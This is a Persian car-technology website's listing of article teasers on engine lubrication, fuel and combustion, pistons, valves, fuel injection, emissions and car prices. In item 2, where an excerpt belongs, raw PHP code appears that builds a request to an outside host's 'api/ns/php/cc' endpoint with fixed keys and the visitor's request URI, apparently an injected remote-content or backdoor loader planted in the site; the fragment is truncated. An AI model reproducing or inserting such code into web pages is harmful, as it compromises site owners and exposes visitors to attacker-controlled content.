- 2. موتور و مکانیک
- (Information)
- <?php $hash=md5(uniqid(rand(), true)); $pu= str_replace('&', $hash, $_SERVER['REQUEST_URI']); $request_url = 'https://novinmohtava.com/parvazproject/api/ns/php/cc/?c=b4b6f9beb56932083e9800131f49f59a&h=4814849a087bf2fd81da52946ab06b2e&hs='.$hash.'&r=' ...
- ایجاد در 16 اسفند 1395
- 3. روغن کاری موتور (بخش دوم)
- (سوخت و سیالات)
- موتور به وسیله روغن موجود در کارتل روغن کاری می شود. روغن موتور که بین 4 تا 6 لیتر است توسط اویل پمپ مکیده شده و پس از تصفیه به وسیله فیلتر با فشار معینی به مدار روغن کاری ارسال شده و سپس به یاتاقان های ...
- ایجاد در 09 ارديبهشت 1395
- 4. روغن کاری موتور (بخش اول)
- (سوخت و سیالات)
- در موتور قطعات متحرک زیادی وجود دارد که تحت فشار کار می کنند مانند چرخ ها که بار اتومبیل را تحمل می کنند. اگر در چرخ ها وسایل کاهنده نیروی اصطکاک به کار نرود در اثر افزایش نیروی اصطکاک محورها و یاتاقان ...
- ایجاد در 06 ارديبهشت 1395
- 5. سوخت و احتراق (بخش آخر)
- (سوخت و سیالات)
- در یک موتور ردیفی وقتی از جلو نگاه می کنیم، شماره های سیلندر از جلو نام گذاری می شود یعنی سیلندری که به پروانه نزدیک تر است شماره یک و سیلندری که به فلایویل نزدیک تر است، شماره آخر را به خود اختصاص می ...
- ایجاد در 06 ارديبهشت 1395
- 6. سوخت و احتراق (بخش چهارم)
- (سوخت و سیالات)
- در موقع پایین رفتن پیستون در کورس مکش، مخلوط سوخت و هوا به علت ایجاد خلأ در سیلندر از دریچه گاز وارد سیلندر می شود. مقدمه: قدرت در موتور های احتراق داخلی بنزین، براثر اشتعال مخلوط بنزین و هوا ...
- ایجاد در 01 ارديبهشت 1395
- 7. سوخت و احتراق (بخش سوم)
- (سوخت و سیالات)
- ... به میزان ده برابر CO2 است. گاز طبیعی سالیان متمادی است که به عنوان سوخت موتورهای ثابت کمپرسور های گازی و ژنراتور های مولد برق مورد استفاده قرار می گیرد. شبکه گسترده توزیع و خطوط انتقال گاز ...
- ایجاد در 01 ارديبهشت 1395
- 8. سوخت و احتراق (بخش دوم)
- (سوخت و سیالات)
- ... موتورهای دیزلی یا بنزینی موجود را می توان به سادگی به حالت سیستم سوخت جایگزین تبدیل کرد. با این حال برای انجام چنین تغییراتی باید شرایط مختلفی مدنظر قرار گیرد. ماهیت متفاوت احتراق این نوع سوخت ها، ...
- ایجاد در 01 ارديبهشت 1395
- 9. سوخت و احتراق (بخش اول)
- (سوخت و سیالات)
- ... باشد. در این مقاله علت پیچیده بودن ترکیبات سوخت ها، چگونگی تولید آن ها و چگونگی عملکرد آن ها در موتور های احتراق داخلی توضیح داده می شود. منبع اصلی سوخت های نفتی، نفت خام می باشد. مؤسسه نفت ...
- ایجاد در 01 ارديبهشت 1395
- 10. انواع سیلندر و پیستون در خودرو (بخش آخر)
- (موتور و مکانیک خودرو)
- ... متر است. اندازه لقی یاتاقان بستگی به قطر محور و طرح موتور دارد. مفهوم مقدار لقی، آن است که هر گاه محور را در یاتاقان به یک طرف فشار دهند بین محور و یاتاقان در طرف دیگر 0.012 تا 0.076 میلی متر لقی ایجاد ...
- ایجاد در 25 فروردين 1395
- 11. انواع سیلندر و پیستون در خودرو (بخش سوم)
- (Offer)
- ... برش رینگ، عمل آب بندی سیلندر کمتر است در نتیجه روغن سوزی موتور افزایش یافته، فرار گاز به کارتل بیشتر می شود. پیستون ها معمولاً دارای سه یا چهار رینگ هستند. در یک پیستون که دارای سه رینگ است دو رینگ ...
- ایجاد در 22 فروردين 1395
- 12. انواع سیلندر و پیستون در خودرو (بخش دوم)
- (موتور و مکانیک خودرو)
- ... در چهار زمان موتور بررسی می کنیم: 1- در زمان مکش: شاتون به وسیله میل لنگ کشیده می شود و پیستون را که به علّت اصطکاک رینگ ها تمایل به حرکت ندارد، با نیروی اصطکاک F2 به طرف پایین می کشد. نیروی اصلی ...
- ایجاد در 20 فروردين 1395
- 13. انواع سیلندر و پیستون در خودرو
- (موتور و مکانیک خودرو)
- در این مقاله به انواع سیلندر و پیستون در خودرو می پردازیم. سیلندر: مقدمه سیلندر موتور استوانه ای توخالی است که در بدنه (بلوک) سیلندر ساخته شده است. سیلندر، محل حرکت پیستون، انجام عملیات ...
- ایجاد در 19 فروردين 1395
- 14. اجزا و ساختمان موتورهای احتراق داخلی (بخش چهارم)
- (موتور و مکانیک خودرو)
- در این مقاله به بخش چهارم اجزا و ساختمان موتورهای احتراق داخلی می پردازیم. سوپاپ های چرخشی: برای جلوگیری از رسوب گرفتگی سطح خواب سوپاپ و پیدایش نقاط گرم در آن، طرحی به کار می رود که بر ...
- ایجاد در 15 فروردين 1395
- 15. اجزا و ساختمان موتورهای احتراق داخلی (بخش سوم)
- (موتور و مکانیک خودرو)
- در این مقاله به بحث اجزا و ساختمان موتورهای احتراق داخلی می پردازیم. این بخش سوم از چهار بخش مقاله میباشد. نشتی سوپاپ: عدم آب بندی سوپاپ ها بسته به دلایل زیر است: الف) عیب مکانیکی در دستگاه ...
- ایجاد در 12 فروردين 1395
- 16. اجزا و ساختمان موتورهای احتراق داخلی (بخش دوم)
- (موتور و مکانیک خودرو)
- در این مقاله به بحث اجزا و ساختمان موتورهای احتراق داخلی می پردازیم. تایمینگ سوپاپ ها: قدرت بازده موتور، بستگی کامل به مقدار سوخت و هوایی دارد که در هنگام مکش سیلندر را پر می کند. مقدار ...
- ایجاد در 10 فروردين 1395
- 17. اجزا و ساختمان موتورهای احتراق داخلی (بخش اول)
- (موتور و مکانیک خودرو)
- ساختمان موتور: به منظور تشریح بخش های مختلف موتور، تقسیم بندی ساختمان موتور در اینجا به صورت طبقاتی از بالا به پایین صورت گرفته است. در قسمت بالای موتور مجموعه سر سیلندر و در قسمت میانی بدنه سیلندر و ...
- ایجاد در 09 فروردين 1395
- 18. سیستم کنترل پاشش سوخت (بنزین)
- (موتور و مکانیک خودرو)
- ... جرقه 3- سیستم کنترل هوای ورودی 4- سیستم کنترل آلایندگی می باشد . سیستم کنترل الکترونیکی پاشش بنزین عملکرد موتور را برای شرایط زیر کنترل می کند: - ماکزیمم قدرت خروجی موتور - مصرف سوخت کم - ...
- ایجاد در 05 فروردين 1395
- 19. قیمت انواع خودروی داخلی + جدول / 5 فروردین
- (قیمت خودرو)
- ... با دو ایربگ 2 28,882,700 پژو 405GLX بنزینی( یورو4) 3 30,717,900 پژو 405GLX بنزینی با موتور سوپاپ16(TU5) 4 35,496,900 پژو پارس ...
- ایجاد در 05 فروردين 1395
- 20. آلاینده های موتور (بخش دوم)
- (موتور و مکانیک خودرو)
- در این مقاله به آلاینده های موتور (بخش دوم) می پردازیم. کنترل آلایندگی: از دههٔ 1960 آلاینده های خروجی از موتور ها توسط آژانس حفاظت از محیط زیست آمریکا کنترل شده است. تا پیش از 1960 آلاینده ...
- ایجاد در 03 فروردين 1395